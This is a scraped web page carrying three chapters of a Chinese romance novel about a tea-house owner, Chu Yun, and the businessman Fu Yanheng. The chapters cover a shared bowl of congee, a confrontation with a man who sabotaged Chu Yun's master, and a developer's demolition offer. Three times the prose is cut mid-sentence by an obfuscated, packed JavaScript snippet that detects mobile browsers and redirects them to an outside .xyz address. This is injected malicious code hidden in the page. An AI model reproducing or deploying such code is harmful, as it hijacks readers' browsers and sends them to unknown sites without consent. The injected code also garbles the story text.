大家也很好奇,纷纷向江祈年投向疑惑的目光,然后就眼睁睁看见,平日里总是玩世不恭吊儿郎当、撩妹调情都面不改色的江大少爷,耳朵一点点变红了。 7. 砂锅粥 “我艹,你耳朵怎么突然红了,发烧了吗?!” 方施廷的大嗓门一喊,众人更加确信了自己没有看错。 江祈年恼火地看向他,凶狠又僵硬地说:“没有!我是热的!” 彭宗甯气定神闲地喝了口茉莉花茶,慢悠悠地拆台:“屋里空调二十三度。” 在场的都是他们从小玩到大的人,江祈年见糊弄不过去,索性破罐子破摔:“最近认识了一个开茶楼的朋友……被他影响,也开始对茶感兴趣了。” 方施廷脸上的疑惑不像是装的:“那你耳朵红什么?” 江祈年没吭声。 在座的都是人精,怎么会猜不出来里面的弯弯绕,有人故意说:“把那茶楼老板的微信推我呗,改天我也去品鉴品鉴,看看是什么好茶把我们江大少爷的魂儿都勾走了。” 江祈年一句“滚”还没说出来,就听傅砚珩淡淡开口:“没有微信。” 包厢里寂静一瞬,对方不可思议:“没有?” 没有微信你拿什么追人家?? 傅砚珩看着盖碗里雪白的茉莉花沉浮,面不改色地扯谎:“对面把他给删了。” 江祈年发誓,他从来没有像此刻这样崇拜傅砚珩,他要做傅砚珩一辈子的好兄弟,肝脑涂地赴汤蹈火在所不辞的那种。 “没错,”他非常丝滑地来了段即兴表演,脸上流露出两分不甘三分颓废五分哀伤,语气无比沉痛:“可能是我前段时间太打扰他了,又或者是他不喜欢我这个类型的……” 那人干巴巴地笑了两声,安慰道:“没,没事,天涯何处无芳草,咱们江大少爷值得更好的!” 江祈年非常投入,几乎是斩钉截铁:“不行!精诚所至金石为开,相信只要我坚持不懈,总会有打动他的一天的!” 傅砚珩轻哂一声,心想你还演上瘾了。 方施廷一脸的语重心长,拍了拍江祈年的肩:“那你加油。” . 玩笑归玩笑,八卦归八卦,这碗临时改上来的茉莉花茶意外地俘获了众人的味蕾。 徐菀真一脸享受地喝掉最后一口茶,恋恋不舍地说:“是我的错觉吗,我总觉得这次的茉莉花茶比我以往喝过的都要香。” 彭宗甯说:“我也这么觉得。” 就连向来没什么喜好的傅砚珩也叫来侍应生添水,用实际行动表达了他的态度。 不知道是不是他的错觉,他总觉得这碗茉莉花茶......和那天在楚韫那里喝到的特别像。 这个念头刚一诞生,傅砚珩就笑自己心理作用,都是茉莉花茶,只要品质差不多,味道应该也是相似的。 江祈年好奇,索性叫来了这家会所的经理:“你们这的茉莉花茶是哪家在供应?” 经理刚被叫上来的时候还以为是哪位贵宾对今晚的菜不满意,一路上战战兢兢忐忐忑忑,听到江祈年问的是这个,心里大石头终于落地,毕恭毕敬地回答:“我们用的不是市面上的大供应商,算是私人渠道,那位制茶师叫盈浔。” 彭宗甯家里接触茶叶圈,闻言惊讶道:“……是那位以一手‘雪绡’而闻名的盈浔?” 经理点点头:“正是他。” 其他人都没听过这个名字,于是彭宗甯解释道:“这位盈师傅我知道,几年前,在武川举办的‘天工盏’大赛上,他凭借着几乎是横空出世的‘雪绡’一举夺魁。” “但是后来,他拒绝了很多企业抛出的橄榄枝,选择自己小规模生产,所以有人说他性格古怪,也有人说他是想借机炒高价。” 彭宗甯顿了顿,没再说下去。不论如何,这家会所能和盈浔达成合作,让对方为他们供应茶叶,倒是有些本事。 这场由茉莉花茶带来的小插曲持续了一会,话题很快就转移到近日的金融趋势和市场走向上。他们这群人虽然是世家子弟,但没有哪个是真正的不务正业。 他们谈论的是最近房企境外债的事情,大家各执一词,场面一度有些剑拔弩张的味道。 傅砚珩一直静静听着他们的谈话,身体后仰靠在椅子上,左手无意识地轻叩桌面。那其实是一个惬意而放松的姿势,与空气里的紧张气氛格格不入。 直到有人问他:“砚珩,你怎么看?” 轻叩桌面的手指停了下来,傅砚珩似乎扯了下嘴角:“不用把美联储加息当成唯一的影响因素。其实,只要对比过两国信用利差和房地产企业在境外再融资的缺口之间的关系,就不难发现去年第二季度是个关键时间点。” 听见他这么说,原本争论不休的众人也反应了过来。 有人醍醐灌顶:“对啊,等到国内绿色债券增加的速度,比那些需要延长美元债还款期限的需求快的时候,现在的困境其实就是一种暂时的现象。” 傅砚珩解开袖扣,微微颔首:“没错。” . 这个话题持续了很久才结束。等到晚宴散场的时候,已经是晚上十点多了。 傅砚珩坐在车上,虽然在席上只喝了一杯酒,无奈喝得太急,他还一直有胃病,此刻已经隐隐感觉不舒服起来。 他降下一半车窗,脑海里第一次想的不是工作和项目,而是今晚那个有些荒诞的谎言。 其实他也不知道江祈年到底有没有楚韫的微信,但就是下意识地那么说了,只是因为不想让别人要到楚韫的联系方式。 傅砚珩自己都说不清原因,可能只是觉得他们太吵,想快点结束那个话题,也可能是觉得,楚韫和他的茶楼不需要一群目的不纯的人去打扰。 这种陌生的情绪盘旋在胸腔里,朦胧、模糊,带着点新奇,却又像一阵风,抓不住摸不着,不给人弄清它的余地。 这样的情绪有很多种解释,傅砚珩唯独不认为是喜欢。 他们才见过几面?彼此又了解多少?即使有一点微不足道的情愫,也不过是建立在对方漂亮的皮囊和神秘的吸引力上。就像沙滩上玩耍的孩子拾到了漂亮的贝,兴致勃勃地回去打开后,却发现里面并没有期望的珍珠。 夜风让他逐渐清醒,他想要把车窗升起来,下一秒,窗外有什么东西吸引了他—— “季叔,麻烦靠道边停一下。” . 傅砚珩看到了坐在路边摊位上的楚韫。 他视线上移,扫了一眼店铺的招牌,是一家砂锅粥。 楚韫坐在红色的塑料凳上,本人的相貌和气质与这家略显简陋的小店格格不入,周围几个零零散散的食客不时向他投去目光。 但他显然不这么觉得,面前的砂锅飘荡出蒙蒙的白雾,柔和了他原本疏离的眉眼,多了几分烟火气息。他很有耐心,舀起一勺后会吹几下才吃,但可能实在是太烫了,他下意识地张开嘴,眼角几乎立刻泛起了红—— “好巧。” 楚韫被烫得说不出话,目光落在突然出现的男人身上,缓了两秒才开口:“确实。” 他下意识地看向路边,但什么也没有看到。傅砚珩让季叔把车子开走了,直接下班回家。 “你是路过这里吗?” “嗯,”傅砚珩坐到他的对面,这下看过来的人更多了。老板把塑封的菜单递过来,他一边看一边说:“晚上有个酒局,喝得胃有点不舒服,正好看到你在这里,就想来这吃点东西。” 楚韫下意识以为傅砚珩是因为生意场上的应酬喝了太多酒,虽然这与他在自己心中的形象不太符合。 傅砚珩不爱吃粤菜,但这家的砂锅粥闻起来却不错。他抬头问楚韫:“有什么推荐吗?” 楚韫咬了咬微麻的舌尖,有些含糊地说:“你有什么忌口吗?” “我不吃海鲜。” “那就吃香菇排骨粥或者生滚牛肉粥。” 傅砚珩最后选了牛肉粥。 餐厅老板来收菜单,傅砚珩随口说道:“来一瓶冰矿泉水。” 冰凉的矿泉水被放在楚韫面前的时候,他罕见的愣了一下。 “不是被烫到了吗?含一口冰水会好一点。” 楚韫握着塑料瓶身,清晰的凉意顺着指尖蔓延,他拧开瓶盖,说道:“……谢谢。” 冰水确实让他刺痛的舌尖缓解了不少,他的话也比刚才多了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383294|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“上次的茉莉花茶喝着还好吗?” 傅砚珩顿了一下,诚实地回答:“……不太好。” 楚韫立刻皱眉问道:“大概是哪方面不好呢?色泽?香气?还是口感?” 话音刚落,就见对面男人勾起嘴角,闷声笑道:“和你的茶叶没关系,是我泡茶的手法有问题。” 傅砚珩大多数时间都没有什么表情,那其实是经年累月在谈判桌上淬炼出的不动声色,以至于有时候这种上位者的气质会让人忽略他本人过于优越的五官。 此时他一笑,就像暗室点灯,明月悬空。从楚韫的视角来看,他鼻梁高挺,面部线条锋利却流畅,眼型是狭长的内双,眼尾略微上扬的弧度给这张脸更添几分凌厉之感。 “……” 楚韫沉默了两秒,第一次有一种售后服务的感觉:“有时间可以来找我,我教你。” 说完,他垂下眼帘,搅了两下碗里的粥。热气渐渐散去,他放心地一口一口吃了起来。 傅砚珩的生滚牛肉粥也被端了上来,闻言状似不经意地说:“加个微信吧,以后我有问题随时可以找你。” 楚韫想起“骚扰”他一个多月的江祈年,犹豫了几秒没动作。傅砚珩见他这个样子,点点头,很善解人意地说:“不方便也没关系。” 楚韫在心里无声叹气,想着这么多次接触,这人都进退有度,便拿出手机:“我扫你吧。” 也是加完微信,在填备注的时候,楚韫才意识到自己还不知道对方叫什么名字。他抬眼看过去,对面就好像提前知道他要问什么一样,率先开口:“我叫傅砚珩,书砚的砚,珩是一种玉。” 楚韫点了点头,说道:“我叫楚韫,韫表示蕴藏的意思。” 话音刚落,他脑海里就突然想起了一句诗—— “‘石蕴玉而山辉’。” 傅砚珩轻声念出这句诗,微笑道:“我们的名字倒是有缘。” 楚韫不置可否。 傅砚珩的头像是一座很有异域风情的小镇:烟蓝色的天空笼罩下,木屋色彩斑斓,连河水也闪烁着奇幻的色彩。楚韫刚才就看了好久,此刻下意识道:“好美的景色。” 傅砚珩说:“那是在一个法国小镇上拍的,名字我记不清了。” 楚韫点点头,就听傅砚珩问道:“你呢?你的头像又是什么?” 楚韫笑了笑,傅砚珩敏锐地从他眼中捕捉到一丝柔和。 “是我的茶园。” “真好,”傅砚珩若有所思:“看起来宁静又充满了生机,仿佛能让人听到土壤里的虫鸣、雨水落在芽尖上的声音。” 楚韫很喜欢别人称赞他的茶园,眼里盛满了细碎的光芒:“谢谢,你是第一个对我的茶园做出如此独特评价的人。” 傅砚珩也是第一次从他脸上见到如此神态,像是一幅卷起来的水墨画缓缓展开,露出里面从未向世人展现过的动人心魄。 “是吗,”他嘴角微勾:“其实我也只是实话实说。” 但楚韫明显被他取悦到了,结账时顺便帮他付了钱。 店里的客人几乎都走光了,老板正收拾着准备打烊。两个人站在空荡荡的街道上,夏夜的暖风吹得楚韫脸上微痒。 “你走回去吗?” 傅砚珩看了眼时间:“嗯。” 楚韫迟疑了一下,但觉得再问就过界了,于是朝他点点头,指了个方向:“我要往那边走,再见。” 不知道是夜风太温柔,还是他的错觉,傅砚珩的语气低沉而柔和,像是沁了白兰花香:“回去的路上小心。” “你也是。” 楚韫的背影渐行渐远,直到转入街角彻底看不到,傅砚珩才收回视线,在路边拦了辆出租车。 那个司机听完傅砚珩报的小区名,沉默了一下,立刻直视前方,老老实实地开车。 喝了些粥,胃里果然就不那么难受了。傅砚珩回复了两封不那么重要的邮件,脑海里又不可抑制地浮现出那双流光溢彩的眼睛。 ……真是没救了。 傅砚珩捏了捏鼻梁,哂笑一声。 8. 帮凶 晨光刺破云雾,大山深处的村庄迎来了清晨的第一缕朝阳。伴随着鸡鸣声,中年男人推开小屋的木门,活动一下筋骨,打算到院子里劈柴烧水,却意外地发现自家的院子里正站着一个人。 那人身材颀长,背对着他,看不见面容。男人起初还以为是误入村里的外地人,于是问道:“……您有事吗?” 男子转过身来,清晨的阳光照在他脸上,男人霎时间心里“咯噔”一下。 那是一张许多年不见的、被他埋到记忆最深处的脸。 “还记得我吗?” 楚韫笑了笑,只是这笑意不曾到达眼底分毫。 “看你的表情,应该是记得了。” 男人的身体抑制不住地颤抖起来,他下意识看了一眼屋里尚在熟睡的妻子女儿,眼里流露出哀求:“如果你是因为当年的事来的,我只求你别吵醒我的家人。” 楚韫颔首,温和地说:“可以,我也只是想找你聊一聊。” 男人苦笑,面前的年轻人看起来很好说话,却恰恰是绵里藏针,稍有不慎就会让人千疮百孔。 “我开车来的,去我车上说吧。” “等一下,”男人突然说:“我回去拿个东西。” 楚韫很有耐心地让他去了,在等待的时间里随便走了走。 院子里用铁链拴着一只中华田园犬,看见陌生人靠近,立刻警觉的站了起来,嘴里发出警告般的呼噜声,仿佛他再上前一步就要撕碎他。 “你倒是忠心,”楚韫微笑着,声音却冰冷:“但你的主人可未必。” 那只田园犬似乎听懂了他的话,朝他龇牙咧嘴。就在这时,男人拿着一个纸包走了出来,道:“我好了。” 楚韫的目光落在那个纸包上,随即转身向外走。 男人跟着他上了一辆越野车,车门关上,空间立马逼仄起来,一种紧张的、吊诡的情绪在车里蔓延。 楚韫递给他一瓶矿泉水,男人没接。 “怎么,怕我下毒?” 楚韫脸上的笑已经淡了下去,就那样静静地看着男人。漆黑的眸子像两汪冰冷的墨池,里面没有温度和光明,只有能把男人拖下去的致命阴暗。 男人后知后觉地想要接过来,但楚韫已经随手把水插进了车门的凹槽里。 他弯起红润的唇,那是一个令人不寒而栗的微笑:“周万山,你在心虚什么?” 男人瞳孔骤缩,但楚韫没有给他喘息的时间,紧接着道:“是亏心事做多了吗?午夜梦回的时候有没有梦到我师父?你家里人知道你干过的那些肮脏龌龊的勾当吗?” 男人原本只是小幅度的颤抖,在听到“家人”两个字后,他猛地抬起头看向楚韫,从紧咬的牙关中憋出声音:“别,别,你想知道什么,我都告诉你。” 楚韫指尖敲着方向盘,淡淡地说:“当年云栖竹露最早出现问题时,我师父排查过许多环节,但是始终难以锁定茶叶品质下降的原因。问题出现在不同批次,看起来不像是工艺出现差错,倒像是流水线不稳定而形成的偶然事件。师父怀疑过许多人,却独独没有想到当年在茶厂做学徒的你。现在想来,这个身份是你最好的保护壳,让你能神不知鬼不觉地篡改发酵参数,破坏那几批茶叶的湿润度。” “只是我想知道,你一个学徒,明明接触的只有外围工作,又是如何拿到核心权限的?” 周万山痛苦地把头埋进臂弯里,双手紧紧地抓住头发,那是一个忏悔般的姿势:“……是我干的,当年我父亲生了重病,急需二十万的手术费,我向周围的亲朋好友借钱,却四处碰壁。我实在是走投无路了,就在那个时候,余晋华出现了。” “他和我说,如果我能在云栖竹露的流水线里动些手脚,就帮我填上手术费,还会另外给我一笔钱安顿。” 周万山重重地喘息了一声,抬起头来,眼里布满血丝:“我一开始拒绝他了的,我也不想帮他陷害廖大师,但是,但是谁来帮帮我呢?” 他语气激动了起来:“医院给我下了病危通知书,你见过急性胰腺炎患者的临床症状吗?我眼睁睁看着我父亲的肚子胀得像个皮球,皮肤上到处都是恐怖的瘀斑,最痛苦的时候,他每次呼吸都伴随着呻吟,锁骨上窝和肋间隙深深塌陷下去。” “可是我什么都做不了,我只能眼睁睁看着他去死!” 周万山发泄似的咆哮着,当年的一幕幕似乎重现在他眼前,是舍弃尊严下跪乞求却遭到的白眼和冷笑,是父亲在冰冷病房里垂死挣扎的狼狈凄惨,是他身为人子却无能为力而产生的自我厌弃。 “我动摇了,我告诉我自己,如果我答应余晋华,廖叙生最多只是身败名裂,但如果我没有抓住这根最后的救命稻草,那我父亲失去的就是性命!” 楚韫无波无澜地看着他,轻声开口:“所以,这就是你选择帮余晋华办事的理由?” 周万山似乎又陷入了另一重痛苦的漩涡,他平复了一下,缓缓地说:“没错,我重新找到了余晋华,告诉他我愿意帮他。” 而后,他朝着楚韫露出了一个嘲讽的微笑,突然觉得命运其实是公平的,因为它永远把所有人玩弄于股掌之中,哪怕是眼前真正的天之骄子。 “你不是想知道是谁给了我权限吗,我告诉你啊。” 楚韫心底其实已经有了猜测,下一秒,男人嘲弄的声音传来,为他心里的那个人宣判死刑。 “是你师父的好徒弟,你的好师兄,宋清峦。” …… 看不见的角落里,楚韫一只手紧攥成拳,指关节泛起白色,一丝鲜血从他掌心缓缓淌下。 但他的表情乃至声音都称得上古井无波,平静到像是戴了一层没有喜怒的面具。 “所以呢?” 他目光锐利如刀锋,像是要剖开周万山那点隐秘的幸灾乐祸,看到无论是过去还是现在都潜藏在骨子里的、无法磨灭的阴暗的劣根性。 “周万山,你知道我师父是怎么死的吗?” 在这样的目光下,男人头皮发麻,张了张口,却什么也没说出来。事实上,当年的事是他整个平淡人生中的最大波澜,是挥之不去的无形梦魇。这些年他搬到这个闭塞偏远的小山村里,就是为了不再接触与廖叙生有关的任何信息。 楚韫露出一点可怜的神色:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383295|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看,其实你就是个彻头彻尾的懦夫,阴沟里见不得光的老鼠。” 他陈述着一个在心里咀嚼过千百遍的事实,但还是会心中钝痛:“是突发心脏病,诱因是余晋华和宋清峦的那档访谈节目。” “所以你明白了吗,其实你们三个都是杀人犯。” 年轻人语气轻柔,却站在高高的十字架前,为他们判下沉重罪名:“唯一的一点区别只是,余晋华是主犯,而你和宋清峦是帮凶。” “……” 周万山不可置信般地喃喃出声:“不,不是这样的。我只是整个计划里无足轻重的小角色,我不是帮凶。” 楚韫却已经失去了和他再聊下去的兴致,问了最后一个问题:“你还留着当年和余晋华往来的证据吗?录音,汇款记录都行。” 男人的心理防线已经彻底被攻破,他失魂落魄地打开了那个一只被他攥在手心里的纸包,里面是两张边缘泛黄的、折叠起来的银行记录。 “这是他给我那两笔钱的汇款单,虽然是从境外转账的,但你应该能查到源头。这些年我一直留着它,可能等的就是这一刻吧。” 周万山看着楚韫,恳求道:“我愿意赎罪,但请你保护好我的家人。” 家人。 这两个字在楚韫心中一遍遍划过,他几乎对周万山的妻女产生了一种诡异的嫉妒。 为什么他就没有这样的家人呢? 但这种情绪就像火花一样一闪而过,没在他脸上留下丝毫痕迹。他颔首,从男人手里接过那份来之不易的证据。 “可能你以为你现在住的地方很安全,但事实上,余晋华一直在派人监视你们。” 周万山不寒而栗,无措道:“那,那怎么办?” “我会帮你们重新找一个地方避开他的耳目,但前提是你要听话。” 楚韫微笑着说:“余晋华想必已经知道我找过你的事了,你猜要是落到他的手里,你和你的家人会怎么样?” 周万山瞪大了眼睛,愤怒道:“你威胁我?!” 楚韫耸了耸肩:“谈不上,只是向你阐明利害关系。毕竟像你这么喜欢衡量算计,却又愚蠢到算不明白的人,不让你知道几斤几两又怎么行呢?” 周万山无路可走,只能听从楚韫的安排。临走时,这个男人突然问道:“如果我当年去找你师父,他会愿意帮我一把吗?” 楚韫语气沉缓,却异常坚定:“会。” “……” 周万山笑了笑,一些不为人知的呢喃消散在风中,最终说出口的只有一句“知道了”。 在他身后,年轻人的声音让他红了眼眶。 “别太高估人性,也别太低估人性。” 如果时光倒流,一切会有所不同吗? 他不知道,他也并不后悔,只是欠的债迟早要还,现在终于到他赎罪的时候了。 坐在车里的楚韫后知后觉地松开紧握的手,掌心已经血肉模糊,阵阵刺痛反倒让他有一种仍在人间的实感。 林间风起,飞鸟扑棱棱展翅而飞,落叶簌簌中传来故人湮灭在时光里的一声长叹,转瞬间四散入苍穹。 9. 拆迁 楚韫驱车回到茶园的时候已经近乎深夜。说来也是巧合,周万山的那个村子就在福建省内,和他的茶园离了一百多公里。 陆俨在灯火通明的别墅前来回踱步,脸上神情焦躁不安,直到看到远处黑夜中不断靠近的车灯,一颗悬着的心才终于落下。 车子刚刚停好,他就立刻迎了上去:“师父你可算回来了,我一直担心那家伙对你不利,你再不回来我就要去找你了。” 楚韫其实很疲惫,但还是牵了牵嘴角安慰他:“没事的,我带了防身的工具。” “更何况,我之前调查过他,他最在乎家人。人只要有弱点就不会轻举妄动。” 两人走进别墅,陆俨刚松了一口气,下一秒就在一片明晃晃的灯光下看见楚韫结了血痂的左手:“这,这是怎么弄的?他打你了?!!” 陆俨自己丝毫没觉出这句话里面的不对劲来,抬头却见楚韫一副无奈的表情。 “没,是我自己弄的。” “不过你能不能注意一下措辞,”楚韫非常不满:“好像我只能单方面被殴打却毫无还手之力一样。” 陆俨急了:“那是关注点吗,最重要的不是你怎么受伤了——” 楚韫做了一个暂停的手势,随口道:“进山的时候被路边的野草划伤了,我自己处理一下就行。” 然后为了躲避他这位好徒弟苦口婆心语重心长不厌其烦的三千字长输出,他扔下一句“我累了”就飞快地上了楼。 也许是因为事情有了重大进展,这一夜楚韫睡得格外好,第二天起得晚了些。 但这份舒心只持续到他吃完陆俨做的煎蛋—— “快回来啊楚韫,出大事了!!” 楚韫咬着吐司,含糊不清地说:“秦澜月,你能不能稳当点?” 电话对面的秦澜月冷笑一声:“等你听我说完再谈这个吧。” 他一改往日的不着调,严肃地说:“望舒巷这片区域要被拆除重建了,亿恒集团主导的,听说是要建科技园区。” 楚韫动作一顿,皱眉问道:“消息准确吗?” 秦澜月回答:“上面的红头文件都下来了,这事已经板上钉钉了。” 望舒巷的拆除重建虽然是意料之外,但仔细想想也在情理之中。本来就是一片很有年头的居民区,已经因为年久失修而显出破败的颓势,偏偏又在城西的黄金地段,占地面积不小,多少商业巨头都对它虎视眈眈。前些年因为上面一直没有动静,望舒巷得以在这座城市的夹缝中生存,但是到了这两年,上面也有意向对城市老旧区域改造,各家自然望风而动、竞争角逐。只是从最后的结果来看,很显然,最后的胜家是亿恒。 “原住民都同意搬迁?” 秦澜月语气沉重:“这正是我要和你说的,亿恒这次下了血本,搬迁赔偿是正常规定的一点五倍,势必是要彻底解决这个问题,大家没有理由不答应。” “而且,”他轻叹一声:“他们也来找过我了,大概是之前做过调研了解我们的情况,他们提供了两个方案。” “一是对我们进行双倍补偿。” “二是提供一个同等客流量的优质地段,承担搬迁与装修费用,并帮助我们宣传导流。” 其实亿恒开出的价码已经足够有诚意,换做别人可能早就答应了。但秦澜月知道“先春”对于楚韫有多么重要的意义,因此只是和对方说考虑一下,就等着楚韫回去处理这个世纪难题。 楚韫疲惫地揉了揉额角,说:“我知道了,我现在回去。” 挂断电话,他吩咐道:“陆俨,订一张最早回去的机票。” 陆俨睁大眼睛,不解地“啊”了一声:“您要回去吗师父?可是刚下来的这批的茶叶怎么办?” 楚韫其实也头痛得要死,但不能表现出来对陆俨的不信任,只能拍拍他的肩,语重心长地说:“你看着我做茶坯也有三年了,今年正好就当让你试试手,这批茶叶交给你独立去做。” 他那双好看的眸子里全是对徒弟的信任:“做不好也没关系,大不了就留着我们自己喝。” 陆俨被楚韫沉甸甸的信任感动了,觉得自己肩负重大使命,立刻立下军令状:“放心吧师父,我一定会尽全力去做的!” 楚韫见这傻孩子成功被自己忽悠过去了,满意地点点头,起身上楼收拾东西去了。 . 飞机落地S市,楚韫把手机的飞行模式关掉,收到了秦澜月二十分钟前发来的短信: [我帮你约了亿恒负责这个项目的经理,你落地后直接去亿恒底下的那家咖啡店就行。] 楚韫点开秦澜月发来的定位,拖着行李箱拦下一辆出租车,向司机示意目的地。 奈何天公不作美,车子刚行驶出机场就下起了瓢泼大雨。司机把雨刷器调到最大档,偏头看了楚韫一眼:“小兄弟不着急吧?这天气太差了,我估计过了收费站就要堵车。” 楚韫看着雨滴砸到车窗上绽出的水花,回答道:“我与人有约,在保证安全的基础上,麻烦您尽可能快些。” 这种天气着急也没用,前面路况果然如司机所说开始堵车,雨幕中亮起一道道红色的车尾灯,像一双双不怀好意的猩红的眼睛,让人心情烦躁。 距离他们约定的时间还有一个小时,但路程很远,迟到已经是必然的了。思及此,楚韫搜索了一下秦澜月发来的那个经理的电话,添加对方的微信。 对面可能在忙,迟迟没有通过。 司机看出楚韫的沉默寡言,知趣地没有选择和他聊天,而是打开了电台。 女主播温柔的声音传来,在这样的雨天里回响在车内狭小的空间:“作家朱天心曾说‘雨是神的烟花’,此刻雨刷器在玻璃上划出的弧线,就像是在跳一支奇妙的华尔兹。” “这样的天气最适合泡一杯热可可,让我们用Norah Jones的e Away With Me》给雨滴配上爵士乐的鼓点。” . 闻时看了一眼后座,伸手调小了声音。 放在平时,傅砚珩绝不会允许车上有其它打扰他工作的声音存在,只有在这样的暴雨天才会让司机打开音乐电台,但他本人又不会沉浸在旋律里,更像是用一种声音掩盖另一种声音。 后视镜里的傅砚珩双目微阖,难得没有在处理工作,但即使是这片刻的小憩也显得并不安稳,因为他始终眉头微蹙,像是在忍受某种不为人知的痛苦。 宾利缓慢地前进,终于到了亿恒大厦。 “傅总,我们到了。”闻时小声提醒道。 傅砚珩睁开眼,里面平静无波,清明得不像是刚在车上休息过的人。闻时已经撑着伞为他打开车门,他屈身下车,余光看见有人拖着行李箱在暴雨里小跑,一只手遮在头顶,直到进了亿恒旁边的那家咖啡店。 他顿了顿,半眯起眼睛,目光透过咖啡店透明的落地窗,看到楚韫低头摆弄着手机,像是在给什么人发信息,随即咖啡店里有人站起来挥手,楚韫坐到了他的对面。 闻时顺着傅砚珩的目光看去,却什么也没看到,出声提醒道:“……傅总?” 傅砚珩收回目光,神色如常地迈步进了公司。 . 出租车快到这里的时候,那位经理终于通过了楚韫的好友申请。 楚韫站在咖啡店门口给他发信息: [夏经理,我到了,你在哪?] 与此同时,一个穿着深蓝色西装的男人从靠窗的位置上站起来,朝他挥了挥手。 楚韫拖着拉杆箱走过去,确认道:“夏经理?” 男人笑着点点头,礼貌地伸出右手:“你好楚先生,我是亿恒负责星曜科技园区的项目经理。” 楚韫同他虚虚握了下手,接过对方递来的名片,坐到他的对面。 夏经理看到楚韫浑身都要湿透了,向店员要来了一次性毛巾递给他:“我看你淋了雨,先拿毛巾擦一下头发吧。” 楚韫没拒绝:“多谢。” 他随意擦了两下头发,看向落地窗中倒映出来的自己——其实不用看他都知道自己现在有多狼狈。刚刚为了少迟到一会,他让司机在两百米开外停车,然后一路小跑过来。他没带雨伞,出租车上也没有备用伞可以借给他,只能硬生生地挨浇。 结果就是,他身上的短袖几乎湿透了,冰冷地贴在皮肤上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383296|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裤子也被雨水溅湿了一半。 这个过程中,男人也在不动声色地观察着这位年轻的茶楼老板。这是一个外表惊艳瞩目的人,几缕湿了的碎发搭在眉上,看起来如江南烟雨般柔和。 夏经理心中有了计较,略带歉意地开口解释道:“刚才项目组在开会,我的手机调成了静音,没看到你的好友申请和电话,很抱歉。” 楚韫表示理解:“也没有别的事情,只是想告诉您路上一直在堵车,我可能会晚到一会。” 对面的男人笑了笑,圆滑地说:“没关系的,其实我也刚到不久。” 楚韫微微颔首,抽出两张纸巾擦掉脖子上的水珠。 夏经理已经开始点单,抬头问他:“喝点什么?” 楚韫平时很少喝咖啡,对咖啡也不怎么了解,因此随口说了个馥芮白。 不多时,店员给他们两个端来咖啡,楚韫抿了一口,就听夏经理率先开口,语气中带着隐隐的压迫感:“亿恒开出的条件相信秦先生已经向您传达过了,‘先春’的情况我们也大概了解。” 咖啡的香气在舌尖蔓延,回味时带着微微的酸意,那是一种与茶截然不同的味道。 “我知道这时的搬迁会给您的茶楼带来极大的损失,因此我们深表歉意的同时也尽最大诚意为您争取到了补偿最大化。” “我们向您承诺,无论您选择哪个补偿方案,都一定是只赚不赔。” 咖啡杯放在瓷碟上,发出一声脆响。楚韫笑了笑,说道:“夏经理,我想你们可能搞错了一件事。” “我开这家茶楼从来都不是为了利益,因此再多的金钱都不能打动我。贵司从一开始方向就错了。” 这话说得有几分强硬。夏经理面色不变,只是停顿了几秒钟,斟酌着用词:“楚先生,有一件事您可能不太清楚。” “这家叫‘先春’的茶楼原来是属于廖叙生的。这个名字想必我不用解释您也知道代表着什么。” 他压低了声音:“我不知道您是通过什么渠道买下它的,但当年的事注定了这座茶楼会伴随着很多的争议,也许现在还是风平浪静,但谁知道会不会在将来的某一天引起舆论风暴。” 楚韫语气骤然冷了下来,直白道:“所以您的意思是,我与其守着一个定时炸弹,倒不如早日和它撇清关系?” 不待夏经理开口,他已经露出一个疏离而冰冷的微笑:“很感谢您请我喝的咖啡,但您今天所说的没有任何一项打动我,我想我们已经没有必要聊下去了。” 夏经理没想到楚韫是这个反应,有些慌了:“这样,您有什么要求可以提出来,我们会和公司重新商讨。” 楚韫没有第一时间说出自己的诉求,而是看向被雨水打湿的街道,语气轻而缓:“我想您也知道,如果我不同意搬迁,到头来就是两败俱伤。你们亿恒的科技园区无法顺利施工,我这间茶楼也无法正常开张。” “但其实认真算起来,还是你们亿恒的损失会更大,毕竟我这只是一间小茶楼,和你们这种体量庞大的公司不同。我没有太多的顾虑,有的是时间和你们慢慢打官司,但你们就不一样了。” “而我的要求也很简单——”楚韫注转过头视着男人的眼睛,平静地说:“我想见你们老板。” 不知不觉间,两人的地位悄然逆转,楚韫由一开始的弱势变成了那个站在高位的人。只是他撒了个谎,他并非无所顾忌,茶楼被拆除的威胁如同一把利剑高悬头顶,让他小心翼翼、如履薄冰。 但他只能伪装成无欲则刚,否则这个最终的要求根本就是天方夜谭。 楚韫的施压奏效了,夏经理虽然觉得这简直是无稽之谈,但没有一口回绝他,而是说:“这样,我向秘书部问一下傅总的行程,尽量帮您争取到一个时间。” 